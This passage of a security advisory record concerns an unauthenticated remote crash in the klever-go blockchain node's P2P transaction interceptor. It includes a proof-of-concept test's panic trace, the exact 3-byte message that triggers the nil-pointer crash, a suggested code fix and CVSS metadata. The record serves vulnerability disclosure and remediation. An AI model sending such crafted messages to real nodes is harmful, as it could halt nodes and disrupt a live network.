TestPoC_NilRawData_SingleDataInterceptor\n--- FAIL: TestPoC_NilRawData_SingleDataInterceptor (0.00s)\npanic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]\n\ngoroutine 8 [running]:\npanic({0x888c00?, 0xd54d60?})\n /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a\ngithub.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?)\n .../core/versioning/txVersionChecker.go:22 +0x4\ngithub.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...)\n .../core/process/transaction/interceptedTransaction.go:203 +0x31\ngithub.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...)\n .../core/process/transaction/interceptedTransaction.go:154 +0x13\ngithub.com/klever-io/klever-go/core/process/interceptors.(*SingleDataInterceptor).ProcessReceivedMessage(...)\n .../core/process/interceptors/singleDataInterceptor.go:118 +0x12e\ngithub.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_SingleDataInterceptor(...)\n .../core/process/interceptors/poc_nil_rawdata_dos_test.go:165 +0x2b1\nFAIL github.com/klever-io/klever-go/core/process/interceptors 0.005s\nFAIL\n```\n\nInterpretation\n- Both runs abort the process with SIGSEGV originating at `txVersionChecker.go:22`\n (`tx.RawData.Version`), reached through the real interceptor\u0027s synchronous\n `ProcessReceivedMessage` frame - the exact frame the recover-free libp2p pubsub\n callback executes in production. A recover()-less crash here = full node process exit.\n- Round-trip check (production `tools/marshal.ProtoMarshalizer`): the malicious tx is\n 3 bytes `12 01 78` and decodes to `RawData == nil`, confirming the trigger is a\n valid, attacker-craftable wire message (not a malformed blob rejected earlier).\n\n## Suggested fix\nPrimary (root cause) - make `CheckTxVersion` nil-safe / reject `RawData == nil` early:\n```go\nfunc (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {\n\tif tx == nil || tx.RawData == nil {\n\t\treturn process.ErrInvalidTransactionVersion\n\t}\n\tif tx.RawData.Version \u003c tvc.minTxVersion {\n\t\treturn process.ErrInvalidTransactionVersion\n\t}\n\treturn nil\n}\n```\nReturning a sentinel error here is already handled by the interceptors (they\nblacklist peers that send wrong-version transactions).\n\nDefense-in-depth:\n- Wrap the synchronous body of `pubsubCallback` (and/or `ProcessReceivedMessage`) in a\n `recover()` so a single malformed message can never abort the process.\n- Audit the other direct `inTx.tx.RawData.*` dereferences in\n `interceptedTransaction.go` (chainID/sender/contract/nonce/fee getters) for the same\n nil-input class.\n\n## Duplicate check (vs published advisories)\nChecked against the 3 published advisories (GHSA-jc6w-wmfc-fh33 / CVE-2026-46403,\nGHSA-87m7-qffr-542v / CVE-2026-44697, GHSA-74m6-4hjp-7226). This is NOT a duplicate:\ndifferent root cause (nil `RawData` deref vs gzip OOM / throttler accounting / VM\nread-only isolation); the advisory texts never mention `RawData`, `CheckTxVersion`,\n`txVersionChecker`, or any nil/NULL deref. Those three advisories\u0027 fixes are already\npresent in the reviewed tree, yet `txVersionChecker.go:22` remains unpatched. It is\nadjacent in impact class (P2P interceptor DoS) to 87m7 / 74m6, referenced here for context.",
"id": "GHSA-rm5c-5x2p-48wr",
"modified": "2026-06-05T16:42:38Z",
"published": "2026-06-05T16:42:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-rm5c-5x2p-48wr"
},
{
"type": "PACKAGE",
"url": "https://github.com/klever-io/klever-go"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Klever-Go KVM: Unauthenticated remote node crash (nil-pointer DoS) in klever-go P2P transaction interceptor (txVersionChecker nil RawData) - potential chain halt"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.